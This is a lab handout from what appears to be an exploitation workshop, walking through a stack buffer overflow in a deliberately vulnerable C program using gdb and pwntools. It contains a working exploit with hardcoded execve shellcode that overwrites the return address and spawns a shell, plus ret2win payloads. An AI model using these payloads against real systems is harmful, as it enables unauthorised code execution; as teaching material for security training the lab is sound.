Lab 3

Exploiting buffer overflows with no mitigations enabled

Goal of this lab is to familiarize you with basic buffer overflows, getting comfortable automating exploitation using pwntools package.

Brief Intro

As shown in the slides, buffer overflow happens when programmer does not enforce limits on data being ingested properly. This might happen for various reasons, such as:

- Using function taking input without upper limit
- Specifying limits bigger than buffer can handle
- Using dynamic limits calculation that goes wrong way

In particular, C functions for handling input that you'll see in this workshop will be from the following pool:

- gets(char* str) – takes a pointer where input should be saved and reads until newline. No limits enforced.
- fgets(char* str, int count, FILE* stream) – reads to *str pointer at most count – 1 characters.

Lab

The following steps will take you through exploitation of 1.out from "2. BOFs" directory. If you are confident in your understanding, feel free to skip the walkthrough and build the final exploit yourself. Since we are using pwntools, relevant template is provided for your convenience.

Solutions for all labs are provided in relevant "solutions" subdirectory. It is strongly advised you try your best before falling back to them. Ideally, you'd want to solve the challenges yourself and compare with provided solves.

Let's start with inspecting the source code of 1.c

```c
#include <stdio.h>
#include <stdlib.h>

void win(){
    system("/bin/bash");
    exit(0);
}


void hello_routine(){
    char str[128] = {};
    printf("Hello, what's your name?\n");
    gets(str);
    printf("Cool to meet you %s", str);
}

int main(){
    hello_routine();
    return 0;
}
```

This is an example of ret2win challenge, where we want to redirect the execution to a function that is not called anywhere in the code.

Worth noticing is the gets(str) function, which will copy whatever we send to it without any length limit whatsoever and dump it starting from where str[] array begins.

A good habit to make is to use a program like checksec to assess what protections are in place:

```
└─$ checksec --file=1.out
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH
```

We will use a provided pwntools template to make development quicker and automate exploitation. We'll want to copy the file to not break the template. Then, let's point path towards the target binary.

```
from pwn import *
import os

# ————————————————————
# Config
# ————————————————————
BIN_PATH = "./lololol"  # change me
context.binary = ELF(BIN_PATH, checksec=True)

context.log_level = "info"
context.terminal = ["tmux", "splitw", "-h"]

gdbscript = """
# adjust breakpoints for your binary:
break *main
# break *vuln
# continue
"""

'''
p.sendlineafter(b'>', b'something') - send a line after receiving something
p.sendline(b'something') - just send a line
p64(<int>) - pack into 8-byte int
out = p.recvline() - store line of output in variable
'''

#p = process(BIN_PATH) # use me once debugged
p = gdb.debug(BIN_PATH, gdbscript)

# your code here
p.interactive()
```

To run the exploit, execute

```
python3 <copied file>
```

This will launch gdb together with our binary and use tmux to split the terminal window. If you are not familiar with tmux, for our purposes you'll only need to know a shortcut to switch between panes:

```
Ctrl-B <let go>; arrow-left/arrow-right
```

Panes can be also resized by holding ctrl while pressing arrows after letting go ctrl-b.

Our debugging session will execute all commands in "gdbscript" variable, which is where you can freely customize what's going on. By default, it will break on main to give us control.

```
┌──(kali㉿kali)-[~/Desktop/workshop/handout/2. BOFs]
└─$ python3 1.solve.py
[*] '/home/kali/Desktop/workshop/handout/2. BOFs/1.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
    Stripped: No
    Debuginfo: Yes
[+] Starting local process '/usr/bin/gdbserver': pid 1204899
[*] running in new terminal: ['/usr/bin/gdb', '-q', './1.out', '-x', '/tmp/pwnlib-gdbscript-rkovhpwe.gdb']
[*] Switching to interactive mode
$
```

```
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot"
.
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
0x00007ffff7fe35c0 in ?? () from target:/lib64/ld-linux-x86-64.so.2
⇒ 0x00007ffff7fe35c0:  48 89 e7                mov    rdi,rsp
Breakpoint 1 at 0x4012e6: file 1.c, line 16.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Breakpoint 1, main () at 1.c:16
16      int main(){
⇒ 0x00000000004012e6 <main+0>: 55                      push   rbp
   0x00000000004012e7 <main+1>: 48 89 e5               mov    rbp,rsp
(gdb)
```

Remembering the slides, we'll want to explore how stack layout looks like before and after gets() call. To do so, we set relevant breakpoints and hit continue:

```
(gdb) disass hello_routine
Dump of assembler code for function hello_routine:
   0x000000000040116c <+0>:     push   rbp
   0x000000000040116d <+1>:     mov    rbp,rsp
   0x0000000000401170 <+4>:     add    rsp,0xffffffffffffff80
   0x0000000000401174 <+8>:     mov    QWORD PTR [rbp-0x80],0x0
   0x000000000040117c <+16>:    mov    QWORD PTR [rbp-0x78],0x0
   0x0000000000401184 <+24>:    mov    QWORD PTR [rbp-0x70],0x0
   0x000000000040118c <+32>:    mov    QWORD PTR [rbp-0x68],0x0
   0x0000000000401194 <+40>:    mov    QWORD PTR [rbp-0x60],0x0
   0x000000000040119c <+48>:    mov    QWORD PTR [rbp-0x58],0x0
   0x00000000004011a4 <+56>:    mov    QWORD PTR [rbp-0x50],0x0
   0x00000000004011ac <+64>:    mov    QWORD PTR [rbp-0x48],0x0
   0x00000000004011b4 <+72>:    mov    QWORD PTR [rbp-0x40],0x0
   0x00000000004011bc <+80>:    mov    QWORD PTR [rbp-0x38],0x0
   0x00000000004011c4 <+88>:    mov    QWORD PTR [rbp-0x30],0x0
   0x00000000004011cc <+96>:    mov    QWORD PTR [rbp-0x28],0x0
   0x00000000004011d4 <+104>:   mov    QWORD PTR [rbp-0x20],0x0
   0x00000000004011dc <+112>:   mov    QWORD PTR [rbp-0x18],0x0
   0x00000000004011e4 <+120>:   mov    QWORD PTR [rbp-0x10],0x0
   0x00000000004011ec <+128>:   mov    QWORD PTR [rbp-0x8],0x0
   0x00000000004011f4 <+136>:   lea    rax,[rip+0xe11]        # 0x40200c
   0x00000000004011fb <+143>:   mov    rdi,rax
   0x00000000004011fe <+146>:   call   0x401030 <puts@plt>
   0x0000000000401203 <+151>:   lea    rax,[rbp-0x80]
   0x0000000000401207 <+155>:   mov    rdi,rax
   0x000000000040120a <+158>:   call   0x401060 <gets@plt>
   0x000000000040120f <+163>:   lea    rax,[rbp-0x80]
   0x0000000000401213 <+167>:   mov    rsi,rax
   0x0000000000401216 <+170>:   lea    rax,[rip+0xe08]        # 0x402025
   0x000000000040121d <+177>:   mov    rdi,rax
   0x0000000000401220 <+180>:   mov    eax,0x0
   0x0000000000401225 <+185>:   call   0x401050 <printf@plt>
   0x000000000040122a <+190>:   nop
   0x000000000040122b <+191>:   leave
   0x000000000040122c <+192>:   ret
```

```
(gdb) b *hello_routine+155
Breakpoint 2 at 0x401207: file 1.c, line 12.
(gdb) b *hello_routine+163
Breakpoint 3 at 0x40120f: file 1.c, line 13.
(gdb)
```

Immediately, we'll hit the breakpoint, lets explore first 32 elements on the stack:

```
Breakpoint 2, 0x0000000000401207 in hello_routine () at 1.c:12
12          gets(str);
   0x0000000000401203 <hello_routine+151>:      48 8d 45 80
⇒  0x0000000000401207 <hello_routine+155>:      48 89 c7
   0x000000000040120a <hello_routine+158>:      e8 51 fe ff ff
(gdb) x/32gx $rsp
0x7fffffffdc90: 0x0000000000000000      0x0000000000000000
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcf0: 0x0000000000000000      0x0000000000000000
0x7fffffffdd00: 0x0000000000000000      0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20      0x000000000040123b
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
0x7fffffffdd40: 0x0000000100400040      0x00007fffffffde38
0x7fffffffdd50: 0x00007fffffffde38      0xadd143bb331871e1
0x7fffffffdd60: 0x0000000000000000      0x00007fffffffde48
0x7fffffffdd70: 0x00007ffff7ffd000      0x0000000000403e00
0x7fffffffdd80: 0x522ebc44897a71e1      0x522eac006bda71e1
(gdb)
```

We can see lots of zeroes forming our buffer which is followed up by saved RBP and a saved instruction pointer. To confirm the size of a buffer, we can use print to do some math on the addresses:

```
(gdb) list hello_routine
4
5       void win(){
6           system("/bin/sh");
7       }
8
9       void hello_routine(){
10          char str[128] = {};
11          printf("Hello, what's your name?\n");
12          gets(str);
13          printf("Cool to meet you %s", str);
(gdb) p 0x7fffffffdd10 - 0x7fffffffdc90
$3 = 128
(gdb)
```

Now let's hit continue again and provide some input to the program:

```
[*] running in new terminal: [ /u
[*] Switching to interactive mode
Hello, what's your name?
$ hajduszoboszlo
$
```

After hitting the breakpoint again, we'll see our buffer partially filled up:

```
(gdb) x/32gx $rsp
0x7fffffffdc90: 0x6f7a7375646a6168       0x00006f6c7a736f62
0x7fffffffdca0: 0x0000000000000000       0x0000000000000000
0x7fffffffdcb0: 0x0000000000000000       0x0000000000000000
0x7fffffffdcc0: 0x0000000000000000       0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000       0x0000000000000000
0x7fffffffdce0: 0x0000000000000000       0x0000000000000000
0x7fffffffdcf0: 0x0000000000000000       0x0000000000000000
0x7fffffffdd00: 0x0000000000000000       0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20       0x000000000040123b
0x7fffffffdd20: 0x0000000000000001       0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20       0x000000000040122d
```

```
(gdb) x/s $rsp
0x7fffffffdc90: "hajduszoboszlo"
```

Great, lets continue the execution to the finish and edit our exploit. We'll now send a little bit over the size of our buffer, 136 times letter A:

```
#p = process(BIN_PATH) # use me once debugged
p = gdb.debug(BIN_PATH, gdbscript)

# your code here
p.sendline(b'A'*136)

p.interactive()
```

We now run the exploit again, remembering to set a breakpoint at hello+136 and continuing twice:

```
End of assembler dump.
(gdb) b *hello_routine+163
Breakpoint 2 at 0x40120f: file 1.c, line 13.
(gdb) c
Continuing.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Breakpoint 1, main () at 1.c:16
16      int main(){
⇒ 0x000000000040122d <main+0>: 55                      push   rbp
   0x000000000040122e <main+1>: 48 89 e5               mov    rbp,rsp
(gdb) c
Continuing.

Breakpoint 2, hello_routine () at 1.c:13
13          printf("Cool to meet you %s", str);
```

Looking into the contents of stack, we can clearly observe overwrite now. Old RBP is nowhere to be seen and keen eye will notice least significant byte in saved instruction pointer zeroed:

```
(gdb) x/32gx $rsp
0x7fffffffdc90: 0x4141414141414141      0x4141414141414141
0x7fffffffdca0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcb0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141      0x4141414141414141
0x7fffffffdce0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcf0: 0x4141414141414141      0x4141414141414141
0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x0000000000401200
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
```

Original layout for reference:

```
(gdb) x/32gx $rsp
0x7fffffffdc90: 0x6f7a7375646a6168      0x00006f6c7a736f62
0x7fffffffdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffdce0: 0x0000000000000000      0x0000000000000000
0x7fffffffdcf0: 0x0000000000000000      0x0000000000000000
0x7fffffffdd00: 0x0000000000000000      0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20      0x000000000040123b
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
```

What happened is that gets fetches input up to the newline sign and then substitutes it with a nullbyte to form a proper null-delimited string. As a side-effect, this zeroed part of the return address, despite us providing exactly 136 bytes of input.

If we now continue executing the program, it will crash due to old RBP being corrupted to impossible address.

```
(gdb) c
Continuing.

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.
```

That's good enough! Using the same logic, lets try overflowing with additional data. This time we'll also set a breakpoint at the RET instruction in the hello_routine, which is located at +192 offset.

```
gdbscript = """
# adjust breakpoints for your binary:
break *main
break *hello_routine+192
# break *vuln
# continue
"""

'''
p.sendlineafter(b'>', b'something') - send a line after receiving something
p.sendline(b'something') - just send a line
p64(<int>) - pack into 8-byte int
out = p.recvline() - store line of output in variable
'''

#p = process(BIN_PATH) # use me once debugged
p = gdb.debug(BIN_PATH, gdbscript)

# your code here
p.sendline(b'A'*144)

p.interactive()
```

After running and continuing the execution twice, we'll explore the stack again:

```
(gdb) c
Continuing.

Breakpoint 2, 0x000000000040122c in hello_routine () at 1.c:14
14      }
   0x000000000040122a <hello_routine+190>:      90                      nop
   0x000000000040122b <hello_routine+191>:      c9                      leave
⇒ 0x000000000040122c <hello_routine+192>:      c3                      ret
(gdb) x/16gx $rsp
0x7fffffffdd18: 0x4141414141414141      0x0000000000000000
0x7fffffffdd28: 0x00007ffff7ddaca8      0x00007fffffffde20
0x7fffffffdd38: 0x000000000040122d      0x0000000100400040
0x7fffffffdd48: 0x00007fffffffde38      0x00007fffffffde38
```

We can clearly see, that we've overwritten more data and it looks like the return pointer is ours too! Remember how RET instruction works – it will fetch the address from top of the stack and insert it into RIP. Let's test this by single stepping

```
(gdb) si

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) i r
The program has no registers now.
```

Program crashes violently with a different error. Segmentation fault means invalid memory access, which in this case means code tried to execute something it shouldn't.

This confirms our control of RIP and we can finally try to redirect execution to our win() function.

To obtain address of win(), we can use gdb with our target binary loaded. With debugging symbols present it is as simple as printing it:

```
(gdb) p win
$1 = {void ()} 0x401166 <win>
```

What we need to do is to place this address in our payload precisely, so that it overwrites exactly at the point where return pointer is. Since we've established that 136 bytes overwrite just over RBP, we can append our payload there.

Remember, that values on stack (and all addresses in 64-bit) have to be 8-byte aligned, meaning they have to be multiplies of 8-byte.

What does that mean for us?

We have to pass all addresses in our payloads in accordance with this requirement, we can do so in two ways:

```
p.sendline(b'A'*136 + p64(0x401166))
# OR
p.sendline(b'A'*136 + b'\x66\x11\x40\x00\x00\x00\x00\x00')
```

p64() is a small helper function provided by pwntools, which will take our integer and "pack" it into 8-byte little-endian integer.

The other way is doing the same work by hand, supplying raw bytes ourselves.

Both are equivalent, using packing functions is obviously suggested for readability.

After updating our exploit with address overwrite, we execute aaaand… fail:

```
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e03df4 in ?? () from target:/lib/x86_64-linux-gnu/libc.so.6
⇒ 0x00007ffff7e03df4:  0f 29 44 24 50          movaps XMMWORD PTR [rsp+0x50],xmm0
(gdb)
```

So, it turns out (and has been a major surprise for me too), that we actually do obtain control of RIP and redirect execution correctly but end up with misaligned stack for calling libc functions (such as system):

```
(gdb) b *win
Breakpoint 3 at 0x401166: file 1.c, line 5.
(gdb) c
Continuing.

Breakpoint 3, win () at 1.c:5
5       void win(){
⇒ 0x0000000000401166 <win+0>:  55                      push   rbp
   0x0000000000401167 <win+1>:  48 89 e5               mov    rbp,rsp
(gdb) x/8gx $rsp
0x7fffffffdd20: 0x0000000000000000      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x0000000000401244
0x7fffffffdd40: 0x0000000100400040      0x00007fffffffde38
0x7fffffffdd50: 0x00007fffffffde38      0xc5edf8844e4a6135
(gdb)
```

Because we RETurned into a function (which would be CALLed), there is a different alignment on stack than would be expected by libc functions. Apparently, these require 16-byte alignment.

These limitations won't bother us. Since we have full control over the RIP register, we can just force the processor to interpret our input as instructions to be executed (remember – everything is data).

Let's circle back a little and try to do so. First thing we need is to obtain address of where our input is stored. Recall this screenshot:

```
(gdb) x/32gx $rsp
0x7fffffffdc90: 0x4141414141414141      0x4141414141414141
0x7fffffffdca0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcb0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcc0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcd0: 0x4141414141414141      0x4141414141414141
0x7fffffffdce0: 0x4141414141414141      0x4141414141414141
0x7fffffffdcf0: 0x4141414141414141      0x4141414141414141
0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x0000000000401200
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
```

Let's try to transfer execution here

```
# your code here
p.sendline(b'A'*136 + p64(0x7fffffffdc90))
```

```
Breakpoint 2, 0x0000000000401243 in hello_routine () at 1.c:16
16      }
   0x0000000000401241 <hello_routine+190>:      90                      nop
   0x0000000000401242 <hello_routine+191>:      c9                      leave
⇒  0x0000000000401243 <hello_routine+192>:      c3                      ret
(gdb) x/8gx $rsp
0x7fffffffdd18: 0x00007fffffffdc90      0x0000000000000000
0x7fffffffdd28: 0x00007ffff7ddaca8      0x00007fffffffde20
0x7fffffffdd38: 0x0000000000401244      0x0000000100400040
0x7fffffffdd48: 0x00007fffffffde38      0x00007fffffffde38
(gdb) ni
0x00007fffffffdc90 in ?? ()
⇒  0x00007fffffffdc90:  41                      rex.B
```

That's perfect, our data is being executed!

We'll be working on understanding shellcoding in the next chapter, for now let's just use shellcode provided in the shellcode.txt file.

You might be familiar with generating shellcode through msfvenom, this is exactly same thing, we will just use handcrafted one.

```
# your code here
shellcode = b'\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
p.sendline(shellcode + b'A'*(136 - len(shellcode)) + p64(0x7fffffffdc90))
```

Pay attention to how we have to remember about padding our shellcode to maintain that 136-byte distance from buffer start to saved return address.

Let's launch the exploit and continue to the RET:

```
Breakpoint 2, 0x0000000000401243 in hello_routine () at 1.c:16
16      }
   0x0000000000401241 <hello_routine+190>:      90                      nop
   0x0000000000401242 <hello_routine+191>:      c9                      leave
⇒  0x0000000000401243 <hello_routine+192>:      c3                      ret
(gdb) ni
0x00007fffffffdc90 in ?? ()
⇒  0x00007fffffffdc90:  31 f6                   xor    esi,esi
(gdb)
```

This is definitely different instruction from what we've seen before! Let's continue running:

```
(gdb) c
Continuing.
process 1265892 is executing new program: /usr/bin/dash
Reading /usr/bin/dash from remote target...
Reading /usr/bin/dash from remote target...
```

Uh oh

```
[*] Switching to interactive mode
Hello, what's your name?
$ whoami
Detaching from process 1266634
kali
$ id
Detaching from process 1266699
uid=1000(kali) gid=1000(kali) groups=10
```

Congratulations, you've just exploited your first buffer overflow!

Tasks

This lab is more about being getting your hands dirty. It will get confusing once you start doing the work yourself but that is your major learning moment, cherish it!

1. Go along through the walkthrough and reproduce all the steps till you get your first shell.
    a. Some addresses might change and differ from those on screenshots, as long as it works, we're good
    b. Once you get the shellcode on the stack, try examining it as instructions. Can you identify what it does?
        i. x/32i $rsp will be helpful
2. There is another binary in this folder with very similar vulnerability. Can you exploit it?